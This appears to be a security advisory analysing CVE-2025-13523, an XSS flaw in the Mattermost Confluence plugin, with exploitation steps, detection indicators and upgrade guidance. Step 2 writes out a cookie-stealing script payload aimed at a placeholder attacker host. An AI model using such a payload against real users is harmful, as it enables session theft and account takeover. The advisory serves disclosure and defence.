CVE-2025-13523: 
vulnerability analysis and mitigation

CVE-2025-13523 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the Mattermost Confluence plugin that allows authenticated Confluence users to execute arbitrary JavaScript in victim browsers. The flaw affects all versions of the plugin from 1.0.0 up to (but not including) 1.7.0, and was disclosed on February 6, 2026, with a patch released in version 1.7.0. The vulnerability is tracked under Mattermost Advisory ID MMSA-2025-00557. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, though the GitHub Advisory Database rates it 7.7 (High) using a stricter vector reflecting high confidentiality and integrity impact (GitHub Advisory, Mattermost Security).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): the plugin fails to HTML-escape user-controlled display names when rendering them inside Go HTML templates (GitHub Advisory). An authenticated Confluence user sets a malicious display name containing a JavaScript payload (e.g., <script>...</script> or an event-handler attribute), then crafts a specially formatted OAuth2 connection link and sends it to a victim. When the victim visits the link, the plugin renders the attacker's display name in the HTML response without sanitization, causing the browser to execute the injected script. Exploitation requires the attacker to have a valid Confluence account and the victim to click the crafted link (user interaction required), but no elevated privileges beyond a standard authenticated session are needed (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within the Mattermost application. This can lead to session cookie theft, account takeover, unauthorized actions performed on behalf of the victim (such as posting messages or accessing private channels), redirection to malicious sites, and capture of sensitive information displayed in the Mattermost interface. The scope change in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader Mattermost environment, with high confidentiality and integrity impact per the GitHub Advisory scoring (GitHub Advisory, Mattermost Security).

1. Obtain Confluence access: The attacker must have a valid Confluence account integrated with the Mattermost Confluence plugin.
2. Set a malicious display name: In Confluence, update the account's display name to include a JavaScript payload, such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or an equivalent event-handler-based payload.
3. Generate an OAuth2 connection link: Use the Mattermost Confluence plugin's OAuth2 connection flow to generate a link that, when visited, triggers the plugin to render the attacker's display name in an HTML template.
4. Deliver the link to a victim: Send the crafted OAuth2 connection link to a target Mattermost user via a direct message, channel post, or external communication channel.
5. Victim visits the link: When the victim clicks the link, the Mattermost Confluence plugin renders the attacker's display name in the HTML response without escaping, causing the browser to execute the injected JavaScript.
6. Achieve objective: The executed script can exfiltrate session cookies, perform actions in the Mattermost UI on behalf of the victim, or redirect the victim to a phishing page (GitHub Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting an OAuth2 connection link (potential cookie/data exfiltration).
• Logs: Mattermost server logs showing OAuth2 connection link visits from multiple users originating from a single Confluence account with an unusual display name; browser console errors related to script execution on Mattermost pages.
• Application: Confluence user accounts with display names containing HTML tags (e.g., <script>, <img, onerror=, javascript:) — these should be treated as suspicious and investigated.
• User Reports: Victims reporting unexpected redirects, pop-ups, or unusual behavior after clicking a Mattermost link related to Confluence OAuth2 connection.

The primary remediation is to upgrade the Mattermost Confluence plugin to version 1.7.0 or later, which properly escapes user-controlled display names in HTML template rendering (GitHub Advisory, Mattermost Security). As interim mitigations prior to patching: restrict sharing of OAuth2 connection links to trusted users only; implement Content Security Policy (CSP) headers on the Mattermost deployment to limit the impact of any XSS payloads; and audit Confluence user display names for suspicious HTML or script content. Organizations should prioritize patching given the potential for session hijacking.

The vulnerability received standard coverage in security vulnerability databases and aggregators upon disclosure on February 6, 2026, including entries in the GitHub Advisory Database, NVD, Red Hat CVE database, and ENISA EUVD. A Mastodon post from @thehackerwire noted the disclosure. No significant vendor statements beyond the Mattermost security advisory page or notable independent researcher commentary have been identified (GitHub Advisory, Mattermost Security).